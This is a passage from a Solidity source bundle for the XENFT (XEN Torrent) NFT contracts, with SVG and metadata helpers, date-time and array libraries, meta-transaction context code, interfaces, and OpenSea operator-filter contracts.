42];\n }\n\n function _stopOffsets() private pure returns (uint256[3] memory) {\n return [uint256(10), 50, 90];\n }\n\n function _gradColorsRegular() private pure returns (uint256[4] memory) {\n return [uint256(150), 150, 20, 20];\n }\n\n function _gradColorsBlack() private pure returns (uint256[4] memory) {\n return [uint256(100), 100, 20, 20];\n }\n\n function _gradColorsSpecial() private pure returns (uint256[4] memory) {\n return [uint256(100), 100, 0, 0];\n }\n\n /**\n @dev private helper to determine XENFT group index by its power\n (power = count of VMUs * mint term in days)\n */\n function _powerGroup(uint256 vmus, uint256 term) private pure returns (uint256) {\n return (vmus * term) / POWER_GROUP_SIZE;\n }\n\n /**\n @dev private helper to generate SVG gradients for special XENFT categories\n */\n function _specialClassGradients(bool rare) private pure returns (SVG.Gradient[] memory gradients) {\n uint256[3] memory specialColors = rare ? _huesApex() : _huesLimited();\n SVG.Color[] memory colors = new SVG.Color[](3);\n for (uint256 i = 0; i < colors.length; i++) {\n colors[i] = SVG.Color({\n h: specialColors[i],\n s: BASE_SATURATION,\n l: SPECIAL_LUMINOSITY,\n a: DEFAULT_OPACITY,\n off: _stopOffsets()[i]\n });\n }\n gradients = new SVG.Gradient[](1);\n gradients[0] = SVG.Gradient({colors: colors, id: 0, coords: _gradColorsSpecial()});\n }\n\n /**\n @dev private helper to generate SVG gradients for common XENFT category\n */\n function _commonCategoryGradients(uint256 vmus, uint256 term)\n private\n pure\n returns (SVG.Gradient[] memory gradients)\n {\n SVG.Color[] memory colors = new SVG.Color[](2);\n uint256 powerHue = term * vmus > MAX_POWER ? NO_COLOR : 1 + (term * vmus * COLORS_FULL_SCALE) / MAX_POWER;\n // group\n uint256 groupHue = _powerGroupColors()[_powerGroup(vmus, term) > 7 ? 7 : _powerGroup(vmus, term)];\n colors[0] = SVG.Color({\n h: groupHue,\n s: groupHue == NO_COLOR ? 0 : GROUP_SATURATION,\n l: groupHue == NO_COLOR ? 0 : GROUP_LUMINOSITY,\n a: DEFAULT_OPACITY,\n off: _stopOffsets()[0]\n });\n // power\n colors[1] = SVG.Color({\n h: powerHue,\n s: powerHue == NO_COLOR ? 0 : BASE_SATURATION,\n l: powerHue == NO_COLOR ? 0 : BASE_LUMINOSITY,\n a: DEFAULT_OPACITY,\n off: _stopOffsets()[2]\n });\n gradients = new SVG.Gradient[](1);\n gradients[0] = SVG.Gradient({\n colors: colors,\n id: 0,\n coords: groupHue == NO_COLOR ? _gradColorsBlack() : _gradColorsRegular()\n });\n }\n\n // PUBLIC INTERFACE\n\n /**\n @dev public interface to generate SVG image based on XENFT params\n */\n function svgData(\n uint256 tokenId,\n uint256 count,\n uint256 info,\n address token,\n uint256 burned\n ) external view returns (bytes memory) {\n string memory symbol = IERC20Metadata(token).symbol();\n (uint256 classIds, bool rare, bool limited) = info.getClass();\n SVG.SvgParams memory params = SVG.SvgParams({\n symbol: symbol,\n xenAddress: token,\n tokenId: tokenId,\n term: info.getTerm(),\n rank: info.getRank(),\n count: count,\n maturityTs: info.getMaturityTs(),\n amp: info.getAMP(),\n eaa: info.getEAA(),\n xenBurned: burned,\n series: StringData.getClassName(StringData.CLASSES, classIds),\n redeemed: info.getRedeemed()\n });\n uint256 quoteIdx = uint256(keccak256(abi.encode(info))) % StringData.QUOTES_COUNT;\n if (rare || limited) {\n return SVG.image(params, _specialClassGradients(rare), quoteIdx, rare, limited);\n }\n return SVG.image(params, _commonCategoryGradients(count, info.getTerm()), quoteIdx, rare, limited);\n }\n\n function _attr1(\n uint256 count,\n uint256 rank,\n uint256 class_\n ) private pure returns (bytes memory) {\n return\n abi.encodePacked(\n '{\"trait_type\":\"Class\",\"value\":\"',\n StringData.getClassName(StringData.CLASSES, class_),\n '\"},'\n '{\"trait_type\":\"VMUs\",\"value\":\"',\n count.toString(),\n '\"},'\n '{\"trait_type\":\"cRank\",\"value\":\"',\n rank.toString(),\n '\"},'\n );\n }\n\n function _attr2(\n uint256 amp,\n uint256 eaa,\n uint256 maturityTs\n ) private pure returns (bytes memory) {\n (uint256 year, string memory month) = DateTime.yearAndMonth(maturityTs);\n return\n abi.encodePacked(\n '{\"trait_type\":\"AMP\",\"value\":\"',\n amp.toString(),\n '\"},'\n '{\"trait_type\":\"EAA (%)\",\"value\":\"',\n (eaa / 10).toString(),\n '\"},'\n '{\"trait_type\":\"Maturity Year\",\"value\":\"',\n year.toString(),\n '\"},'\n '{\"trait_type\":\"Maturity Month\",\"value\":\"',\n month,\n '\"},'\n );\n }\n\n function _attr3(\n uint256 maturityTs,\n uint256 term,\n uint256 burned\n ) private pure returns (bytes memory) {\n return\n abi.encodePacked(\n '{\"trait_type\":\"Maturity DateTime\",\"value\":\"',\n maturityTs.asString(),\n '\"},'\n '{\"trait_type\":\"Term\",\"value\":\"',\n term.toString(),\n '\"},'\n '{\"trait_type\":\"XEN Burned\",\"value\":\"',\n (burned / 10**18).toString(),\n '\"},'\n );\n }\n\n function _attr4(bool apex, bool limited) private pure returns (bytes memory) {\n string memory category = \"Collector\";\n if (limited) category = \"Limited\";\n if (apex) category = \"Apex\";\n return abi.encodePacked('{\"trait_type\":\"Category\",\"value\":\"', category, '\"}');\n }\n\n /**\n @dev private helper to construct attributes portion of NFT metadata\n */\n function attributes(\n uint256 count,\n uint256 burned,\n uint256 mintInfo\n ) external pure returns (bytes memory) {\n (\n uint256 term,\n uint256 maturityTs,\n uint256 rank,\n uint256 amp,\n uint256 eaa,\n uint256 series,\n bool apex,\n bool limited,\n\n ) = MintInfo.decodeMintInfo(mintInfo);\n return\n abi.encodePacked(\n \"[\",\n _attr1(count, rank, series),\n _attr2(amp, eaa, maturityTs),\n _attr3(maturityTs, term, burned),\n _attr4(apex, limited),\n \"]\"\n );\n }\n\n function formattedString(uint256 n) public pure returns (string memory) {\n return FormattedStrings.toFormattedString(n);\n }\n}\n"
},
"/contracts/libs/FormattedStrings.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nlibrary FormattedStrings {\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n Base on OpenZeppelin `toString` method from `String` library\n */\n function toFormattedString(uint256 value) internal pure returns (string memory) {\n // Inspired by OraclizeAPI's implementation - MIT licence\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\n\n if (value == 0) {\n return \"0\";\n }\n uint256 temp = value;\n uint256 digits;\n while (temp != 0) {\n digits++;\n temp /= 10;\n }\n uint256 pos;\n uint256 comas = digits / 3;\n digits = digits + (digits % 3 == 0 ? comas - 1 : comas);\n bytes memory buffer = new bytes(digits);\n while (value != 0) {\n digits -= 1;\n if (pos == 3) {\n buffer[digits] = \",\";\n pos = 0;\n } else {\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n value /= 10;\n pos++;\n }\n }\n return string(buffer);\n }\n}\n"
},
"/contracts/libs/ERC2771Context.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (metatx/ERC2771Context.sol)\n\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\";\n\n/**\n * @dev Context variant with ERC2771 support.\n */\nabstract contract ERC2771Context is Context {\n /// @custom:oz-upgrades-unsafe-allow state-variable-immutable\n // one-time settable var\n address internal _trustedForwarder;\n\n /// @custom:oz-upgrades-unsafe-allow constructor\n constructor(address trustedForwarder) {\n _trustedForwarder = trustedForwarder;\n }\n\n function isTrustedForwarder(address forwarder) public view virtual returns (bool) {\n return forwarder == _trustedForwarder;\n }\n\n function _msgSender() internal view virtual override returns (address sender) {\n if (isTrustedForwarder(msg.sender)) {\n // The assembly code is more direct than the Solidity version using `abi.decode`.\n /// @solidity memory-safe-assembly\n assembly {\n sender := shr(96, calldataload(sub(calldatasize(), 20)))\n }\n } else {\n return super._msgSender();\n }\n }\n\n function _msgData() internal view virtual override returns (bytes calldata) {\n if (isTrustedForwarder(msg.sender)) {\n return msg.data[:msg.data.length - 20];\n } else {\n return super._msgData();\n }\n }\n}\n"
},
"/contracts/libs/DateTime.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./BokkyPooBahsDateTimeLibrary.sol\";\n\n/*\n @dev Library to convert epoch timestamp to a human-readable Date-Time string\n @dependency uses BokkyPooBahsDateTimeLibrary.sol library internally\n */\nlibrary DateTime {\n using Strings for uint256;\n\n bytes public constant MONTHS = bytes(\"JanFebMarAprMayJunJulAugSepOctNovDec\");\n\n /**\n * @dev returns month as short (3-letter) string\n */\n function monthAsString(uint256 idx) internal pure returns (string memory) {\n require(idx > 0, \"bad idx\");\n bytes memory str = new bytes(3);\n uint256 offset = (idx - 1) * 3;\n str[0] = bytes1(MONTHS[offset]);\n str[1] = bytes1(MONTHS[offset + 1]);\n str[2] = bytes1(MONTHS[offset + 2]);\n return string(str);\n }\n\n /**\n * @dev returns string representation of number left-padded for 2 symbols\n */\n function asPaddedString(uint256 n) internal pure returns (string memory) {\n if (n == 0) return \"00\";\n if (n < 10) return string.concat(\"0\", n.toString());\n return n.toString();\n }\n\n /**\n * @dev returns string of format 'Jan 01, 2022 18:00 UTC' for a given timestamp\n */\n function asString(uint256 ts) external pure returns (string memory) {\n (uint256 year, uint256 month, uint256 day, uint256 hour, uint256 minute, ) = BokkyPooBahsDateTimeLibrary\n .timestampToDateTime(ts);\n return\n string(\n abi.encodePacked(\n monthAsString(month),\n \" \",\n day.toString(),\n \", \",\n year.toString(),\n \" \",\n asPaddedString(hour),\n \":\",\n asPaddedString(minute),\n \" UTC\"\n )\n );\n }\n\n /**\n * @dev returns (year, month as string) components of a date by timestamp\n */\n function yearAndMonth(uint256 ts) external pure returns (uint256, string memory) {\n (uint256 year, uint256 month, , , , ) = BokkyPooBahsDateTimeLibrary.timestampToDateTime(ts);\n return (year, monthAsString(month));\n }\n}\n"
},
"/contracts/libs/BokkyPooBahsDateTimeLibrary.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n// ----------------------------------------------------------------------------\n// BokkyPooBah's DateTime Library v1.01\n//\n// A gas-efficient Solidity date and time library\n//\n// https://github.com/bokkypoobah/BokkyPooBahsDateTimeLibrary\n//\n// Tested date range 1970/01/01 to 2345/12/31\n//\n// Conventions:\n// Unit | Range | Notes\n// :-------- |:-------------:|:-----\n// timestamp | >= 0 | Unix timestamp, number of seconds since 1970/01/01 00:00:00 UTC\n// year | 1970 ... 2345 |\n// month | 1 ... 12 |\n// day | 1 ... 31 |\n// hour | 0 ... 23 |\n// minute | 0 ... 59 |\n// second | 0 ... 59 |\n// dayOfWeek | 1 ... 7 | 1 = Monday, ..., 7 = Sunday\n//\n//\n// Enjoy. (c) BokkyPooBah / Bok Consulting Pty Ltd 2018-2019. The MIT Licence.\n// ----------------------------------------------------------------------------\n\nlibrary BokkyPooBahsDateTimeLibrary {\n uint256 constant _SECONDS_PER_DAY = 24 * 60 * 60;\n uint256 constant _SECONDS_PER_HOUR = 60 * 60;\n uint256 constant _SECONDS_PER_MINUTE = 60;\n int256 constant _OFFSET19700101 = 2440588;\n\n uint256 constant _DOW_FRI = 5;\n uint256 constant _DOW_SAT = 6;\n\n // ------------------------------------------------------------------------\n // Calculate the number of days from 1970/01/01 to year/month/day using\n // the date conversion algorithm from\n // https://aa.usno.navy.mil/faq/JD_formula.html\n // and subtracting the offset 2440588 so that 1970/01/01 is day 0\n //\n // days = day\n // - 32075\n // + 1461 * (year + 4800 + (month - 14) / 12) / 4\n // + 367 * (month - 2 - (month - 14) / 12 * 12) / 12\n // - 3 * ((year + 4900 + (month - 14) / 12) / 100) / 4\n // - offset\n // ------------------------------------------------------------------------\n function _daysFromDate(\n uint256 year,\n uint256 month,\n uint256 day\n ) private pure returns (uint256 _days) {\n require(year >= 1970);\n int256 _year = int256(year);\n int256 _month = int256(month);\n int256 _day = int256(day);\n\n int256 __days = _day -\n 32075 +\n (1461 * (_year + 4800 + (_month - 14) / 12)) /\n 4 +\n (367 * (_month - 2 - ((_month - 14) / 12) * 12)) /\n 12 -\n (3 * ((_year + 4900 + (_month - 14) / 12) / 100)) /\n 4 -\n _OFFSET19700101;\n\n _days = uint256(__days);\n }\n\n // ------------------------------------------------------------------------\n // Calculate year/month/day from the number of days since 1970/01/01 using\n // the date conversion algorithm from\n // http://aa.usno.navy.mil/faq/docs/JD_Formula.php\n // and adding the offset 2440588 so that 1970/01/01 is day 0\n //\n // int L = days + 68569 + offset\n // int N = 4 * L / 146097\n // L = L - (146097 * N + 3) / 4\n // year = 4000 * (L + 1) / 1461001\n // L = L - 1461 * year / 4 + 31\n // month = 80 * L / 2447\n // dd = L - 2447 * month / 80\n // L = month / 11\n // month = month + 2 - 12 * L\n // year = 100 * (N - 49) + year + L\n // ------------------------------------------------------------------------\n function _daysToDate(uint256 _days)\n private\n pure\n returns (\n uint256 year,\n uint256 month,\n uint256 day\n )\n {\n int256 __days = int256(_days);\n\n int256 L = __days + 68569 + _OFFSET19700101;\n int256 N = (4 * L) / 146097;\n L = L - (146097 * N + 3) / 4;\n int256 _year = (4000 * (L + 1)) / 1461001;\n L = L - (1461 * _year) / 4 + 31;\n int256 _month = (80 * L) / 2447;\n int256 _day = L - (2447 * _month) / 80;\n L = _month / 11;\n _month = _month + 2 - 12 * L;\n _year = 100 * (N - 49) + _year + L;\n\n year = uint256(_year);\n month = uint256(_month);\n day = uint256(_day);\n }\n\n function timestampFromDate(\n uint256 year,\n uint256 month,\n uint256 day\n ) internal pure returns (uint256 timestamp) {\n timestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY;\n }\n\n function timestampFromDateTime(\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 hour,\n uint256 minute,\n uint256 second\n ) internal pure returns (uint256 timestamp) {\n timestamp =\n _daysFromDate(year, month, day) *\n _SECONDS_PER_DAY +\n hour *\n _SECONDS_PER_HOUR +\n minute *\n _SECONDS_PER_MINUTE +\n second;\n }\n\n function timestampToDate(uint256 timestamp)\n internal\n pure\n returns (\n uint256 year,\n uint256 month,\n uint256 day\n )\n {\n (year, month, day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function timestampToDateTime(uint256 timestamp)\n internal\n pure\n returns (\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 hour,\n uint256 minute,\n uint256 second\n )\n {\n (year, month, day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n uint256 secs = timestamp % _SECONDS_PER_DAY;\n hour = secs / _SECONDS_PER_HOUR;\n secs = secs % _SECONDS_PER_HOUR;\n minute = secs / _SECONDS_PER_MINUTE;\n second = secs % _SECONDS_PER_MINUTE;\n }\n\n function isValidDate(\n uint256 year,\n uint256 month,\n uint256 day\n ) internal pure returns (bool valid) {\n if (year >= 1970 && month > 0 && month <= 12) {\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > 0 && day <= daysInMonth) {\n valid = true;\n }\n }\n }\n\n function isValidDateTime(\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 hour,\n uint256 minute,\n uint256 second\n ) internal pure returns (bool valid) {\n if (isValidDate(year, month, day)) {\n if (hour < 24 && minute < 60 && second < 60) {\n valid = true;\n }\n }\n }\n\n function isLeapYear(uint256 timestamp) internal pure returns (bool leapYear) {\n (uint256 year, , ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n leapYear = _isLeapYear(year);\n }\n\n function _isLeapYear(uint256 year) private pure returns (bool leapYear) {\n leapYear = ((year % 4 == 0) && (year % 100 != 0)) || (year % 400 == 0);\n }\n\n function isWeekDay(uint256 timestamp) internal pure returns (bool weekDay) {\n weekDay = getDayOfWeek(timestamp) <= _DOW_FRI;\n }\n\n function isWeekEnd(uint256 timestamp) internal pure returns (bool weekEnd) {\n weekEnd = getDayOfWeek(timestamp) >= _DOW_SAT;\n }\n\n function getDaysInMonth(uint256 timestamp) internal pure returns (uint256 daysInMonth) {\n (uint256 year, uint256 month, ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n daysInMonth = _getDaysInMonth(year, month);\n }\n\n function _getDaysInMonth(uint256 year, uint256 month) private pure returns (uint256 daysInMonth) {\n if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) {\n daysInMonth = 31;\n } else if (month != 2) {\n daysInMonth = 30;\n } else {\n daysInMonth = _isLeapYear(year) ? 29 : 28;\n }\n }\n\n // 1 = Monday, 7 = Sunday\n function getDayOfWeek(uint256 timestamp) internal pure returns (uint256 dayOfWeek) {\n uint256 _days = timestamp / _SECONDS_PER_DAY;\n dayOfWeek = ((_days + 3) % 7) + 1;\n }\n\n function getYear(uint256 timestamp) internal pure returns (uint256 year) {\n (year, , ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function getMonth(uint256 timestamp) internal pure returns (uint256 month) {\n (, month, ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function getDay(uint256 timestamp) internal pure returns (uint256 day) {\n (, , day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function getHour(uint256 timestamp) internal pure returns (uint256 hour) {\n uint256 secs = timestamp % _SECONDS_PER_DAY;\n hour = secs / _SECONDS_PER_HOUR;\n }\n\n function getMinute(uint256 timestamp) internal pure returns (uint256 minute) {\n uint256 secs = timestamp % _SECONDS_PER_HOUR;\n minute = secs / _SECONDS_PER_MINUTE;\n }\n\n function getSecond(uint256 timestamp) internal pure returns (uint256 second) {\n second = timestamp % _SECONDS_PER_MINUTE;\n }\n\n function addYears(uint256 timestamp, uint256 _years) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n year += _years;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp >= timestamp);\n }\n\n function addMonths(uint256 timestamp, uint256 _months) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n month += _months;\n year += (month - 1) / 12;\n month = ((month - 1) % 12) + 1;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp >= timestamp);\n }\n\n function addDays(uint256 timestamp, uint256 _days) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _days * _SECONDS_PER_DAY;\n require(newTimestamp >= timestamp);\n }\n\n function addHours(uint256 timestamp, uint256 _hours) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _hours * _SECONDS_PER_HOUR;\n require(newTimestamp >= timestamp);\n }\n\n function addMinutes(uint256 timestamp, uint256 _minutes) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _minutes * _SECONDS_PER_MINUTE;\n require(newTimestamp >= timestamp);\n }\n\n function addSeconds(uint256 timestamp, uint256 _seconds) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _seconds;\n require(newTimestamp >= timestamp);\n }\n\n function subYears(uint256 timestamp, uint256 _years) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n year -= _years;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp <= timestamp);\n }\n\n function subMonths(uint256 timestamp, uint256 _months) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n uint256 yearMonth = year * 12 + (month - 1) - _months;\n year = yearMonth / 12;\n month = (yearMonth % 12) + 1;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp <= timestamp);\n }\n\n function subDays(uint256 timestamp, uint256 _days) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _days * _SECONDS_PER_DAY;\n require(newTimestamp <= timestamp);\n }\n\n function subHours(uint256 timestamp, uint256 _hours) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _hours * _SECONDS_PER_HOUR;\n require(newTimestamp <= timestamp);\n }\n\n function subMinutes(uint256 timestamp, uint256 _minutes) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _minutes * _SECONDS_PER_MINUTE;\n require(newTimestamp <= timestamp);\n }\n\n function subSeconds(uint256 timestamp, uint256 _seconds) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _seconds;\n require(newTimestamp <= timestamp);\n }\n\n function diffYears(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _years) {\n require(fromTimestamp <= toTimestamp);\n (uint256 fromYear, , ) = _daysToDate(fromTimestamp / _SECONDS_PER_DAY);\n (uint256 toYear, , ) = _daysToDate(toTimestamp / _SECONDS_PER_DAY);\n _years = toYear - fromYear;\n }\n\n function diffMonths(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _months) {\n require(fromTimestamp <= toTimestamp);\n (uint256 fromYear, uint256 fromMonth, ) = _daysToDate(fromTimestamp / _SECONDS_PER_DAY);\n (uint256 toYear, uint256 toMonth, ) = _daysToDate(toTimestamp / _SECONDS_PER_DAY);\n _months = toYear * 12 + toMonth - fromYear * 12 - fromMonth;\n }\n\n function diffDays(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _days) {\n require(fromTimestamp <= toTimestamp);\n _days = (toTimestamp - fromTimestamp) / _SECONDS_PER_DAY;\n }\n\n function diffHours(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _hours) {\n require(fromTimestamp <= toTimestamp);\n _hours = (toTimestamp - fromTimestamp) / _SECONDS_PER_HOUR;\n }\n\n function diffMinutes(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _minutes) {\n require(fromTimestamp <= toTimestamp);\n _minutes = (toTimestamp - fromTimestamp) / _SECONDS_PER_MINUTE;\n }\n\n function diffSeconds(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _seconds) {\n require(fromTimestamp <= toTimestamp);\n _seconds = toTimestamp - fromTimestamp;\n }\n}\n"
},
"/contracts/libs/Array.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nlibrary Array {\n function idx(uint256[] memory arr, uint256 item) internal pure returns (uint256 i) {\n for (i = 1; i <= arr.length; i++) {\n if (arr[i - 1] == item) {\n return i;\n }\n }\n i = 0;\n }\n\n function addItem(uint256[] storage arr, uint256 item) internal {\n if (idx(arr, item) == 0) {\n arr.push(item);\n }\n }\n\n function removeItem(uint256[] storage arr, uint256 item) internal {\n uint256 i = idx(arr, item);\n if (i > 0) {\n arr[i - 1] = arr[arr.length - 1];\n arr.pop();\n }\n }\n\n function contains(uint256[] memory container, uint256[] memory items) internal pure returns (bool) {\n if (items.length == 0) return true;\n for (uint256 i = 0; i < items.length; i++) {\n bool itemIsContained = false;\n for (uint256 j = 0; j < container.length; j++) {\n itemIsContained = items[i] == container[j];\n }\n if (!itemIsContained) return false;\n }\n return true;\n }\n\n function asSingletonArray(uint256 element) internal pure returns (uint256[] memory) {\n uint256[] memory array = new uint256[](1);\n array[0] = element;\n return array;\n }\n\n function hasDuplicatesOrZeros(uint256[] memory array) internal pure returns (bool) {\n for (uint256 i = 0; i < array.length; i++) {\n if (array[i] == 0) return true;\n for (uint256 j = 0; j < array.length; j++) {\n if (array[i] == array[j] && i != j) return true;\n }\n }\n return false;\n }\n\n function hasRoguesOrZeros(uint256[] memory array) internal pure returns (bool) {\n uint256 _first = array[0];\n for (uint256 i = 0; i < array.length; i++) {\n if (array[i] == 0 || array[i] != _first) return true;\n }\n return false;\n }\n}\n"
},
"/contracts/interfaces/IXENTorrent.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IXENTorrent {\n event StartTorrent(address indexed user, uint256 count, uint256 term);\n event EndTorrent(address indexed user, uint256 tokenId, address to);\n\n function bulkClaimRank(uint256 count, uint256 term) external returns (uint256);\n\n function bulkClaimMintReward(uint256 tokenId, address to) external;\n}\n"
},
"/contracts/interfaces/IXENProxying.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IXENProxying {\n function callClaimRank(uint256 term) external;\n\n function callClaimMintReward(address to) external;\n\n function powerDown() external;\n}\n"
},
"/contracts/interfaces/IERC2771.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IERC2771 {\n function isTrustedForwarder(address forwarder) external;\n}\n"
},
"operator-filter-registry/src/OperatorFilterer.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {IOperatorFilterRegistry} from \"./IOperatorFilterRegistry.sol\";\n\n/**\n * @title OperatorFilterer\n * @notice Abstract contract whose constructor automatically registers and optionally subscribes to or copies another\n * registrant's entries in the OperatorFilterRegistry.\n * @dev This smart contract is meant to be inherited by token contracts so they can use the following:\n * - `onlyAllowedOperator` modifier for `transferFrom` and `safeTransferFrom` methods.\n * - `onlyAllowedOperatorApproval` modifier for `approve` and `setApprovalForAll` methods.\n */\nabstract contract OperatorFilterer {\n error OperatorNotAllowed(address operator);\n\n IOperatorFilterRegistry public constant OPERATOR_FILTER_REGISTRY =\n IOperatorFilterRegistry(0x000000000000AAeB6D7670E522A718067333cd4E);\n\n constructor(address subscriptionOrRegistrantToCopy, bool subscribe) {\n // If an inheriting token contract is deployed to a network without the registry deployed, the modifier\n // will not revert, but the contract will need to be registered with the registry once it is deployed in\n // order for the modifier to filter addresses.\n if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {\n if (subscribe) {\n OPERATOR_FILTER_REGISTRY.registerAndSubscribe(address(this), subscriptionOrRegistrantToCopy);\n } else {\n if (subscriptionOrRegistrantToCopy != address(0)) {\n OPERATOR_FILTER_REGISTRY.registerAndCopyEntries(address(this), subscriptionOrRegistrantToCopy);\n } else {\n OPERATOR_FILTER_REGISTRY.register(address(this));\n }\n }\n }\n }\n\n modifier onlyAllowedOperator(address from) virtual {\n // Allow spending tokens from addresses with balance\n // Note that this still allows listings and marketplaces with escrow to transfer tokens if transferred\n // from an EOA.\n if (from != msg.sender) {\n _checkFilterOperator(msg.sender);\n }\n _;\n }\n\n modifier onlyAllowedOperatorApproval(address operator) virtual {\n _checkFilterOperator(operator);\n _;\n }\n\n function _checkFilterOperator(address operator) internal view virtual {\n // Check registry code length to facilitate testing in environments without a deployed registry.\n if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {\n if (!OPERATOR_FILTER_REGISTRY.isOperatorAllowed(address(this), operator)) {\n revert OperatorNotAllowed(operator);\n }\n }\n }\n}\n"
},
"operator-filter-registry/src/IOperatorFilterRegistry.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\ninterface IOperatorFilterRegistry {\n function isOperatorAllowed(address registrant, address operator) external view returns (bool);\n function register(address registrant) external;\n function registerAndSubscribe(address registrant, address subscription) external;\n function registerAndCopyEntries(address registrant, address registrantToCopy) external;\n function unregister(address addr) external;\n function updateOperator(address registrant, address operator, bool filtered) external;\n function updateOperators(address registrant, address[] calldata operators, bool filtered) external;\n function updateCodeHash(address registrant, bytes32 codehash, bool filtered) external;\n function updateCodeHashes(address registrant, bytes32[] calldata codeHashes, bool filtered) external;\n function subscribe(address registrant, address registrantToSubscribe) external;\n function unsubscribe(address registrant, bool copyExistingEntries) external;\n function subscriptionOf(address addr) external returns (address registrant);\n function subscribers(address registrant) external returns (address[] memory);\n function subscriberAt(address registrant, uint256 index) external returns (address);\n function copyEntriesOf(address registrant, address registrantToCopy) external;\n function isOperatorFiltered(address registrant, address operator) external returns (bool);\n function isCodeHashOfFiltered(address registrant, address operatorWithCode) external returns (bool);\n function isCodeHashFiltered(address registrant, bytes32 codeHash) external returns (bool);\n function filteredOperators(address addr) external returns (address[] memory);\n function filteredCodeHashes(address addr) external returns (bytes32[] memory);\n function filteredOperatorAt(address registrant, uint256 index) external returns (address);\n function filteredCodeHashAt(address registrant, uint256 index) external returns (bytes32);\n function isRegistered(address addr) external returns (bool);\n function codeHashOf(address addr) external returns (bytes32);\n}\n"
},
"operator-filter-registry/src/DefaultOperatorFilterer.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {OperatorFilterer} from \"./OperatorFilterer.sol\";\n\n/**\n * @title DefaultOperatorFilterer\n * @notice Inherits from OperatorFilterer and automatically subscribes to the default OpenSea subscription.\n */\nabstract contract DefaultOperatorFilterer is OperatorFilterer {\n address constant DEFAULT_SUBSCRIPTION = address(0x3cc6CddA760b79bAfa08dF41ECFA224f810dCeB6);\n\n constructor() OperatorFilterer(DEFAULT_SUBSCRIPTION, true) {}\n}\n"
},
"abdk-libraries-solidity/ABDKMath64x64.sol": {
